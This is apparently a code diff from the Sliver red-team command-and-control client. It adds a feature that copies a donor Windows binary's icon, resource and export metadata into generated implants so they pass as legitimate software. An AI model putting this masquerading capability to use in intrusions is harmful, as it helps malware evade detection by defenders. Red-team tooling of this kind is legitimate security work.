if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||||
compile(name, config, save, con)
|
compile(name, config, spoofMetadata, save, con)
|
||||||
} else {
|
} else {
|
||||||
_, err := externalBuild(name, config, save, con)
|
_, err := externalBuild(name, config, spoofMetadata, save, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
switch err {
|
switch err {
|
||||||
case ErrNoExternalBuilder:
|
case ErrNoExternalBuilder:
|
||||||
@@ -518,6 +532,315 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
|||||||
return name, config
|
return name, config
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func parseSpoofMetadataFlag(cmd *cobra.Command, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||||
|
if cmd == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
spoofMetadataFlag := cmd.Flags().Lookup(spoofMetadataFlagName)
|
||||||
|
if spoofMetadataFlag == nil || !spoofMetadataFlag.Changed {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
spoofMetadataValue := ""
|
||||||
|
if spoofMetadataFlag.Value != nil {
|
||||||
|
spoofMetadataValue = strings.TrimSpace(spoofMetadataFlag.Value.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
switch strings.ToLower(spoofMetadataValue) {
|
||||||
|
case "false":
|
||||||
|
if len(cmd.Flags().Args()) > 0 {
|
||||||
|
return nil, fmt.Errorf("--%s=false does not accept a donor path argument", spoofMetadataFlagName)
|
||||||
|
}
|
||||||
|
return nil, nil
|
||||||
|
case "", "true":
|
||||||
|
pathArg, err := spoofMetadataPathArg(cmd)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if pathArg == "" {
|
||||||
|
return parseSpoofMetadataFromConfigFile()
|
||||||
|
}
|
||||||
|
return parseSpoofMetadataFromPath(pathArg, config)
|
||||||
|
default:
|
||||||
|
if len(cmd.Flags().Args()) > 0 {
|
||||||
|
return nil, fmt.Errorf("--%s accepts a donor path from either the flag value or positional argument, not both", spoofMetadataFlagName)
|
||||||
|
}
|
||||||
|
return parseSpoofMetadataFromPath(spoofMetadataValue, config)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func spoofMetadataPathArg(cmd *cobra.Command) (string, error) {
|
||||||
|
if cmd == nil {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
switch args := cmd.Flags().Args(); len(args) {
|
||||||
|
case 0:
|
||||||
|
return "", nil
|
||||||
|
case 1:
|
||||||
|
return strings.TrimSpace(args[0]), nil
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("--%s accepts at most one donor path argument", spoofMetadataFlagName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSpoofMetadataFromConfigFile() (*clientpb.SpoofMetadataConfig, error) {
|
||||||
|
configPath := assets.SpoofMetadataConfigPath()
|
||||||
|
config, err := assets.LoadSpoofMetadataConfig()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to load spoof metadata config %s: %w", configPath, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
spoofMetadata, err := spoofMetadataConfigToProtobuf(config)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid spoof metadata config %s: %w", configPath, err)
|
||||||
|
}
|
||||||
|
return spoofMetadata, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSpoofMetadataFromPath(pathValue string, config *clientpb.ImplantConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||||
|
if config == nil {
|
||||||
|
return nil, errors.New("missing implant configuration for spoof metadata validation")
|
||||||
|
}
|
||||||
|
pathValue = expandPath(pathValue)
|
||||||
|
sourceData, err := os.ReadFile(pathValue)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to read spoof metadata source path %s: %w", pathValue, err)
|
||||||
|
}
|
||||||
|
if err := validateSpoofMetadataSourceForTarget(config, pathValue, sourceData); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return &clientpb.SpoofMetadataConfig{
|
||||||
|
PE: &clientpb.PESpoofMetadataConfig{
|
||||||
|
Source: &clientpb.SpoofMetadataFile{
|
||||||
|
Name: filepath.Base(pathValue),
|
||||||
|
Data: sourceData,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func validateSpoofMetadataSourceForTarget(config *clientpb.ImplantConfig, sourcePath string, sourceData []byte) error {
|
||||||
|
if config == nil {
|
||||||
|
return errors.New("missing implant configuration for spoof metadata validation")
|
||||||
|
}
|
||||||
|
if strings.ToLower(config.GetGOOS()) != "windows" {
|
||||||
|
return fmt.Errorf("--%s path source currently supports only windows PE targets (got %s/%s)", spoofMetadataFlagName, config.GetGOOS(), config.GetGOARCH())
|
||||||
|
}
|
||||||
|
switch config.GetFormat() {
|
||||||
|
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE, clientpb.OutputFormat_SHARED_LIB:
|
||||||
|
default:
|
||||||
|
return fmt.Errorf("--%s path source requires an executable/service/shared target format (got %s)", spoofMetadataFlagName, nameOfOutputFormat(config.GetFormat()))
|
||||||
|
}
|
||||||
|
|
||||||
|
peFile, err := pe.NewFile(bytes.NewReader(sourceData))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("spoof metadata source %s is not a valid PE: %w", sourcePath, err)
|
||||||
|
}
|
||||||
|
defer peFile.Close()
|
||||||
|
|
||||||
|
expectedMachine, err := expectedPEMachineForGoArch(config.GetGOARCH())
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if peFile.FileHeader.Machine != expectedMachine {
|
||||||
|
return fmt.Errorf(
|
||||||
|
"spoof metadata source %s has machine %s, expected %s for target arch %s",
|
||||||
|
sourcePath,
|
||||||
|
peMachineName(peFile.FileHeader.Machine),
|
||||||
|
peMachineName(expectedMachine),
|
||||||
|
config.GetGOARCH(),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
isDLL := peFile.FileHeader.Characteristics&imageFileDLLCharacteristic != 0
|
||||||
|
if config.GetFormat() == clientpb.OutputFormat_SHARED_LIB && !isDLL {
|
||||||
|
return fmt.Errorf("spoof metadata source %s must be a DLL for shared target format", sourcePath)
|
||||||
|
}
|
||||||
|
if (config.GetFormat() == clientpb.OutputFormat_EXECUTABLE || config.GetFormat() == clientpb.OutputFormat_SERVICE) && isDLL {
|
||||||
|
return fmt.Errorf("spoof metadata source %s appears to be a DLL but target format is %s", sourcePath, nameOfOutputFormat(config.GetFormat()))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func expectedPEMachineForGoArch(goarch string) (uint16, error) {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(goarch)) {
|
||||||
|
case "amd64", "x64":
|
||||||
|
return pe.IMAGE_FILE_MACHINE_AMD64, nil
|
||||||
|
case "386", "x86", "i386":
|
||||||
|
return pe.IMAGE_FILE_MACHINE_I386, nil
|
||||||
|
case "arm64", "aarch64":
|
||||||
|
return pe.IMAGE_FILE_MACHINE_ARM64, nil
|
||||||
|
default:
|
||||||
|
return 0, fmt.Errorf("unsupported windows architecture for spoof metadata source validation: %s", goarch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func peMachineName(machine uint16) string {
|
||||||
|
switch machine {
|
||||||
|
case pe.IMAGE_FILE_MACHINE_AMD64:
|
||||||
|
return "amd64"
|
||||||
|
case pe.IMAGE_FILE_MACHINE_I386:
|
||||||
|
return "386"
|
||||||
|
case pe.IMAGE_FILE_MACHINE_ARM64:
|
||||||
|
return "arm64"
|
||||||
|
default:
|
||||||
|
return fmt.Sprintf("0x%x", machine)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func spoofMetadataConfigToProtobuf(config *assets.SpoofMetadataConfig) (*clientpb.SpoofMetadataConfig, error) {
|
||||||
|
if config == nil {
|
||||||
|
return nil, errors.New("missing spoof metadata configuration")
|
||||||
|
}
|
||||||
|
|
||||||
|
spoofMetadata := &clientpb.SpoofMetadataConfig{}
|
||||||
|
if config.PE != nil {
|
||||||
|
source, err := resolveSpoofMetadataDataSource("pe.source", config.PE.Source)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
icon, err := resolveSpoofMetadataDataSource("pe.icon", config.PE.Icon)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
spoofMetadata.PE = &clientpb.PESpoofMetadataConfig{
|
||||||
|
Source: source,
|
||||||
|
Icon: icon,
|
||||||
|
ResourceDirectory: imageResourceDirectoryToProtobuf(config.PE.ResourceDirectory),
|
||||||
|
ResourceDirectoryEntries: imageResourceDirectoryEntriesToProtobuf(config.PE.ResourceDirectoryEntries),
|
||||||
|
ResourceDataEntries: imageResourceDataEntriesToProtobuf(config.PE.ResourceDataEntries),
|
||||||
|
ExportDirectory: imageExportDirectoryToProtobuf(config.PE.ExportDirectory),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if spoofMetadata.GetPE() == nil {
|
||||||
|
return nil, errors.New("no supported executable metadata configuration found")
|
||||||
|
}
|
||||||
|
if spoofMetadata.GetPE().GetSource() == nil || len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
|
||||||
|
return nil, errors.New("pe.source requires either path or base64 content")
|
||||||
|
}
|
||||||
|
|
||||||
|
return spoofMetadata, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolveSpoofMetadataDataSource(name string, source *assets.SpoofMetadataDataSource) (*clientpb.SpoofMetadataFile, error) {
|
||||||
|
if source == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
pathValue := strings.TrimSpace(source.Path)
|
||||||
|
base64Value := strings.TrimSpace(source.Base64)
|
||||||
|
|
||||||
|
if pathValue != "" && base64Value != "" {
|
||||||
|
return nil, fmt.Errorf("%s cannot set both path and base64", name)
|
||||||
|
}
|
||||||
|
if pathValue == "" && base64Value == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
data []byte
|
||||||
|
err error
|
||||||
|
)
|
||||||
|
fileName := strings.TrimSpace(source.Name)
|
||||||
|
if pathValue != "" {
|
||||||
|
pathValue = expandPath(pathValue)
|
||||||
|
data, err = os.ReadFile(pathValue)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%s failed to read path %s: %w", name, pathValue, err)
|
||||||
|
}
|
||||||
|
if fileName == "" {
|
||||||
|
fileName = filepath.Base(pathValue)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
data, err = base64.StdEncoding.DecodeString(base64Value)
|
||||||
|
if err != nil {
|
||||||
|
data, err = base64.RawStdEncoding.DecodeString(base64Value)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%s has invalid base64 data: %w", name, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if fileName == "" {
|
||||||
|
fileName = "inline-data"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &clientpb.SpoofMetadataFile{
|
||||||
|
Name: fileName,
|
||||||
|
Data: data,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageResourceDirectoryToProtobuf(src *assets.ImageResourceDirectory) *clientpb.IMAGE_RESOURCE_DIRECTORY {
|
||||||
|
if src == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &clientpb.IMAGE_RESOURCE_DIRECTORY{
|
||||||
|
Characteristics: src.Characteristics,
|
||||||
|
TimeDateStamp: src.TimeDateStamp,
|
||||||
|
MajorVersion: src.MajorVersion,
|
||||||
|
MinorVersion: src.MinorVersion,
|
||||||
|
NumberOfNamedEntries: src.NumberOfNamedEntries,
|
||||||
|
NumberOfIdEntries: src.NumberOfIDEntries,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageResourceDirectoryEntriesToProtobuf(src []*assets.ImageResourceDirectoryEntry) []*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY {
|
||||||
|
if len(src) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY, 0, len(src))
|
||||||
|
for _, entry := range src {
|
||||||
|
if entry == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, &clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY{
|
||||||
|
Name: entry.Name,
|
||||||
|
OffsetToData: entry.OffsetToData,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageResourceDataEntriesToProtobuf(src []*assets.ImageResourceDataEntry) []*clientpb.IMAGE_RESOURCE_DATA_ENTRY {
|
||||||
|
if len(src) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := make([]*clientpb.IMAGE_RESOURCE_DATA_ENTRY, 0, len(src))
|
||||||
|
for _, entry := range src {
|
||||||
|
if entry == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, &clientpb.IMAGE_RESOURCE_DATA_ENTRY{
|
||||||
|
OffsetToData: entry.OffsetToData,
|
||||||
|
Size: entry.Size,
|
||||||
|
CodePage: entry.CodePage,
|
||||||
|
Reserved: entry.Reserved,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func imageExportDirectoryToProtobuf(src *assets.ImageExportDirectory) *clientpb.IMAGE_EXPORT_DIRECTORY {
|
||||||
|
if src == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return &clientpb.IMAGE_EXPORT_DIRECTORY{
|
||||||
|
Characteristics: src.Characteristics,
|
||||||
|
TimeDateStamp: src.TimeDateStamp,
|
||||||
|
MajorVersion: src.MajorVersion,
|
||||||
|
MinorVersion: src.MinorVersion,
|
||||||
|
Name: src.Name,
|
||||||
|
Base: src.Base,
|
||||||
|
NumberOfFunctions: src.NumberOfFunctions,
|
||||||
|
NumberOfNames: src.NumberOfNames,
|
||||||
|
AddressOfFunctions: src.AddressOfFunctions,
|
||||||
|
AddressOfNames: src.AddressOfNames,
|
||||||
|
AddressOfNameOrdinals: src.AddressOfNameOrdinals,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
|
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
|
||||||
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
|
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
|
||||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||||
@@ -820,9 +1143,7 @@ func getTargets(targetOS string, targetArch string, con *console.SliverClient) (
|
|||||||
|
|
||||||
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
|
||||||
if _, ok := SupportedCompilerTargets[target]; !ok {
|
if _, ok := SupportedCompilerTargets[target]; !ok {
|
||||||
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
|
con.Printf("⚠️ Unsupported compiler target %s, but we can try to compile a generic implant.\n", console.StyleBold.Render(target))
|
||||||
console.Bold, target, console.Normal,
|
|
||||||
)
|
|
||||||
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
|
||||||
var confirm bool
|
var confirm bool
|
||||||
_ = forms.Confirm("Attempt to build generic implant?", &confirm)
|
_ = forms.Confirm("Attempt to build generic implant?", &confirm)
|
||||||
@@ -1148,7 +1469,150 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
|||||||
return c2s, nil
|
return c2s, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
func applySpoofMetadataToBuild(implantBuildID string, implantName string, spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) error {
|
||||||
|
if spoofMetadata == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
req := &clientpb.GenerateSpoofMetadataReq{
|
||||||
|
SpoofMetadata: spoofMetadata,
|
||||||
|
}
|
||||||
|
if buildID := strings.TrimSpace(implantBuildID); buildID != "" {
|
||||||
|
req.ImplantBuildID = buildID
|
||||||
|
} else if buildName := strings.TrimSpace(implantName); buildName != "" {
|
||||||
|
req.ImplantName = buildName
|
||||||
|
}
|
||||||
|
|
||||||
|
if req.GetImplantBuildID() == "" && req.GetImplantName() == "" {
|
||||||
|
return errors.New("unable to determine build selector for spoof metadata")
|
||||||
|
}
|
||||||
|
|
||||||
|
printSpoofMetadataSummary(spoofMetadata, con)
|
||||||
|
con.PrintInfof("Applying spoof metadata to %s ... ", spoofMetadataBuildSelectorDescription(req))
|
||||||
|
_, err := con.Rpc.GenerateSpoofMetadata(context.Background(), req)
|
||||||
|
if err != nil {
|
||||||
|
con.Printf("failed\n")
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
con.Printf("done\n")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func printSpoofMetadataSummary(spoofMetadata *clientpb.SpoofMetadataConfig, con *console.SliverClient) {
|
||||||
|
if spoofMetadata == nil || con == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
peMetadata := spoofMetadata.GetPE()
|
||||||
|
if peMetadata == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
sourceName := "<unset>"
|
||||||
|
sourceSize := 0
|
||||||
|
if source := peMetadata.GetSource(); source != nil {
|
||||||
|
sourceName = strings.TrimSpace(source.GetName())
|
||||||
|
if sourceName == "" {
|
||||||
|
sourceName = "inline-data"
|
||||||
|
}
|
||||||
|
sourceSize = len(source.GetData())
|
||||||
|
}
|
||||||
|
|
||||||
|
iconSummary := "none"
|
||||||
|
if icon := peMetadata.GetIcon(); icon != nil && len(icon.GetData()) > 0 {
|
||||||
|
iconName := strings.TrimSpace(icon.GetName())
|
||||||
|
if iconName == "" {
|
||||||
|
iconName = "inline-data"
|
||||||
|
}
|
||||||
|
iconSummary = fmt.Sprintf("%s (%d bytes)", iconName, len(icon.GetData()))
|
||||||
|
}
|
||||||
|
|
||||||
|
overrideLabels := []string{}
|
||||||
|
if peMetadata.GetResourceDirectory() != nil {
|
||||||
|
overrideLabels = append(overrideLabels, "resource-directory")
|
||||||
|
}
|
||||||
|
if len(peMetadata.GetResourceDirectoryEntries()) > 0 {
|
||||||
|
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-entries(%d)", len(peMetadata.GetResourceDirectoryEntries())))
|
||||||
|
}
|
||||||
|
if len(peMetadata.GetResourceDataEntries()) > 0 {
|
||||||
|
overrideLabels = append(overrideLabels, fmt.Sprintf("resource-data-entries(%d)", len(peMetadata.GetResourceDataEntries())))
|
||||||
|
}
|
||||||
|
if peMetadata.GetExportDirectory() != nil {
|
||||||
|
overrideLabels = append(overrideLabels, "export-directory")
|
||||||
|
}
|
||||||
|
overridesSummary := "none"
|
||||||
|
if len(overrideLabels) > 0 {
|
||||||
|
overridesSummary = strings.Join(overrideLabels, ", ")
|
||||||
|
}
|
||||||
|
|
||||||
|
con.PrintInfof("%s\n", console.StyleBold.Render("Spoof Metadata Details:"))
|
||||||
|
con.PrintInfof(" Source: %s (%d bytes)\n", sourceName, sourceSize)
|
||||||
|
con.PrintInfof(" Icon: %s\n", iconSummary)
|
||||||
|
con.PrintInfof(" Overrides: %s\n", overridesSummary)
|
||||||
|
}
|
||||||
|
|
||||||
|
func spoofMetadataBuildSelectorDescription(req *clientpb.GenerateSpoofMetadataReq) string {
|
||||||
|
if req == nil {
|
||||||
|
return "build"
|
||||||
|
}
|
||||||
|
if buildID := strings.TrimSpace(req.GetImplantBuildID()); buildID != "" {
|
||||||
|
return fmt.Sprintf("build id %s", buildID)
|
||||||
|
}
|
||||||
|
if buildName := strings.TrimSpace(req.GetImplantName()); buildName != "" {
|
||||||
|
return fmt.Sprintf("build name %s", buildName)
|
||||||
|
}
|
||||||
|
return "build"
|
||||||
|
}
|
||||||
|
|
||||||
|
func requiresWindowsExecutableSuffix(config *clientpb.ImplantConfig) bool {
|
||||||
|
if config == nil || !strings.EqualFold(config.GetGOOS(), "windows") {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
switch config.GetFormat() {
|
||||||
|
case clientpb.OutputFormat_EXECUTABLE, clientpb.OutputFormat_SERVICE:
|
||||||
|
return true
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func ensureOutputPathSuffix(pathValue string, config *clientpb.ImplantConfig) string {
|
||||||
|
if pathValue == "" || !requiresWindowsExecutableSuffix(config) {
|
||||||
|
return pathValue
|
||||||
|
}
|
||||||
|
if strings.HasSuffix(strings.ToLower(pathValue), ".exe") {
|
||||||
|
return pathValue
|
||||||
|
}
|
||||||
|
return pathValue + ".exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
func outputSavePath(save string, defaultName string, config *clientpb.ImplantConfig, con *console.SliverClient) (string, error) {
|
||||||
|
defaultName = ensureOutputPathSuffix(defaultName, config)
|
||||||
|
saveTo, err := saveLocation(save, defaultName, con)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
adjustedPath := ensureOutputPathSuffix(saveTo, config)
|
||||||
|
if adjustedPath == saveTo {
|
||||||
|
return saveTo, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if info, err := os.Stat(adjustedPath); err == nil && !info.IsDir() {
|
||||||
|
var confirm bool
|
||||||
|
_ = forms.Confirm("Overwrite existing file?", &confirm)
|
||||||
|
if !confirm {
|
||||||
|
return "", errors.New("file already exists")
|
||||||
|
}
|
||||||
|
} else if err != nil && !os.IsNotExist(err) {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
if con != nil {
|
||||||
|
con.PrintInfof("Adjusted output filename to %s for Windows executable format\n", adjustedPath)
|
||||||
|
}
|
||||||
|
return adjustedPath, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func externalBuild(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||||
potentialBuilders, err := findExternalBuilders(config, con)
|
potentialBuilders, err := findExternalBuilders(config, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -1172,9 +1636,9 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
|||||||
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||||
}
|
}
|
||||||
if config.ObfuscateSymbols {
|
if config.ObfuscateSymbols {
|
||||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
con.PrintInfof("%s\n", console.StyleBold.Render("Symbol obfuscation is enabled"))
|
||||||
} else if !config.Debug {
|
} else if !config.Debug {
|
||||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
con.PrintErrorf("Symbol obfuscation is %s\n", console.StyleBold.Render("disabled"))
|
||||||
}
|
}
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
|
|
||||||
@@ -1248,6 +1712,12 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
|||||||
elapsed := time.Since(start)
|
elapsed := time.Since(start)
|
||||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||||
|
|
||||||
|
if spoofMetadata != nil {
|
||||||
|
if err := applySpoofMetadataToBuild("", name, spoofMetadata, con); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||||
ImplantName: name,
|
ImplantName: name,
|
||||||
})
|
})
|
||||||
@@ -1302,7 +1772,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
|
saveTo, err := outputSavePath(save, filepath.Base(generated.File.Name), config, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
@@ -1317,7 +1787,7 @@ func externalBuild(name string, config *clientpb.ImplantConfig, save string, con
|
|||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func compile(name string, config *clientpb.ImplantConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
func compile(name string, config *clientpb.ImplantConfig, spoofMetadata *clientpb.SpoofMetadataConfig, save string, con *console.SliverClient) (*commonpb.File, error) {
|
||||||
if config.IsBeacon {
|
if config.IsBeacon {
|
||||||
interval := time.Duration(config.BeaconInterval)
|
interval := time.Duration(config.BeaconInterval)
|
||||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||||
@@ -1325,9 +1795,9 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
|||||||
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
con.PrintInfof("Generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
|
||||||
}
|
}
|
||||||
if config.ObfuscateSymbols {
|
if config.ObfuscateSymbols {
|
||||||
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
|
con.PrintInfof("%s\n", console.StyleBold.Render("Symbol obfuscation is enabled"))
|
||||||
} else if !config.Debug {
|
} else if !config.Debug {
|
||||||
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
|
con.PrintErrorf("Symbol obfuscation is %s\n", console.StyleBold.Render("disabled"))
|
||||||
}
|
}
|
||||||
|
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
@@ -1345,6 +1815,25 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if spoofMetadata != nil {
|
||||||
|
if err := applySpoofMetadataToBuild(generated.GetImplantBuildID(), generated.GetImplantName(), spoofMetadata, con); err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
implantName := generated.GetImplantName()
|
||||||
|
if implantName == "" {
|
||||||
|
implantName = name
|
||||||
|
}
|
||||||
|
generated, err = con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
|
||||||
|
ImplantName: implantName,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
elapsed := time.Since(start)
|
elapsed := time.Since(start)
|
||||||
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
|
||||||
if len(generated.File.Data) == 0 {
|
if len(generated.File.Data) == 0 {
|
||||||
@@ -1401,7 +1890,7 @@ func compile(name string, config *clientpb.ImplantConfig, save string, con *cons
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
saveTo, err := saveLocation(save, generated.File.Name, con)
|
saveTo, err := outputSavePath(save, generated.File.Name, config, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -81,7 +81,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
|||||||
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
_, err := compile(implantName, profile.Config, save, con)
|
_, err := compile(implantName, profile.Config, nil, save, con)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,193 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
|
"github.com/spf13/cobra"
